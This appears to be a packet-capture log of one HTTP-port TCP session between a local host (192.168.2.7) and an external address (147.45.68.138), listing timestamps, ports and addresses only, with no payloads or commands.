Aug 28, 2024 22:55:52.331593990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331599951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.331619978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331626892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.331631899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331641912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331644058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.331665039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.331681967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.331693888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331706047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331724882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331732988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.331749916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.331759930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.339926004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.339955091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.339967012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.339991093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.340003967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.340020895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340032101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340043068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340059996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.340066910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340079069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340087891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.340116978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.340154886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340166092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340177059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340205908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.340224981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.340241909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340253115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340265036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.340287924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.340307951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.345288992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.345300913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.345313072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.345324039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.345350027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.345371962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.345386982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.345422983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.345423937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.345439911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.345449924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.345460892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.345474005 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.345491886 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.348665953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.348679066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.348690987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.348705053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.348721981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.348726988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.348736048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.348752975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.348757029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.348762989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.348764896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.348777056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.348782063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.348784924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.348809004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.348830938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.372106075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.372131109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.372142076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.372153997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.372195005 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.372195959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.372199059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.372212887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.372232914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.372241974 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.372241974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.372270107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.372293949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.391954899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.391978979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.391990900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392025948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.392035961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392044067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.392047882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392060041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392077923 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.392101049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.392288923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392314911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392326117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392335892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392335892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.392358065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.392369032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392371893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.392380953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392393112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392404079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392409086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.392415047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392426014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392435074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.392437935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.392462969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.392477036 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.393158913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393208981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.393208981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393222094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393254042 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.393260956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393261909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.393273115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393284082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393301010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.393315077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.393362045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393372059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393382072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393394947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393407106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.393409967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.393420935 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.393445969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.394134998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.394145966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.394155979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.394190073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.394200087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.394218922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.394232035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.394242048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.394263983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.394273996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.395021915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.395035982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.395062923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.395075083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.395081997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.395087957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.395095110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.395098925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.395109892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.395118952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.395121098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.395143986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.395163059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.407824039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.407856941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.407869101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.407880068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.407891989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.407903910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.407916069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.407927990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.408088923 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.408588886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.408598900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.408608913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.408648968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.408659935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.408668041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.408668041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.408672094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.408683062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.408691883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.408710003 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.408737898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.414340019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.414359093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.414370060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.414381027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.414391994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.414395094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.414403915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.414403915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.414416075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.414426088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.414439917 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.414453030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.414478064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419305086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419342995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419354916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419367075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419378996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419380903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419399977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419399977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419424057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419455051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419485092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419496059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419507027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419518948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419529915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419533014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419557095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419572115 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419610977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419622898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419634104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419646978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.419653893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419676065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.419714928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.426737070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.426748991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.426764965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.426789045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.426804066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.426822901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.426835060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.426846981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.426858902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.426881075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.426903963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.426958084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.426969051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.426981926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.427004099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.427026987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.427066088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.427077055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.427093029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.427107096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.427128077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.432538986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.432553053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.432564020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.432573080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.432586908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.432599068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.432600975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.432610035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.432624102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.432629108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.432635069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.432651997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.432667971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.432691097 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.435446978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.435456991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.435467005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.435504913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.435509920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.435517073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.435520887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.435528994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.435542107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.435553074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.435564995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.435580969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.435590029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.459300041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.459317923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.459330082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.459395885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.459417105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.459460974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.459472895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.459484100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.459495068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.459503889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.459522009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.459544897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.479412079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479451895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479465008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479512930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479526043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479537010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479542971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.479548931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479578972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.479585886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479597092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479607105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479619980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479625940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.479631901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479684114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.479684114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.479872942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479927063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479938030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479949951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.479967117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479974985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.479979038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.479988098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.479990959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480011940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.480029106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.480050087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480062008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480071068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480094910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.480097055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480110884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480122089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480124950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.480155945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.480175018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.480838060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480850935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480870962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480887890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.480895042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480905056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480916023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480926991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480926991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.480938911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.480948925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.480969906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.480992079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.481326103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.481369019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.481373072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.481414080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.481842041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.481889963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.481890917 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.481915951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.481929064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.481947899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.481967926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.481987000 CEST	49731	80	192.168.2.7	147.45.68.138
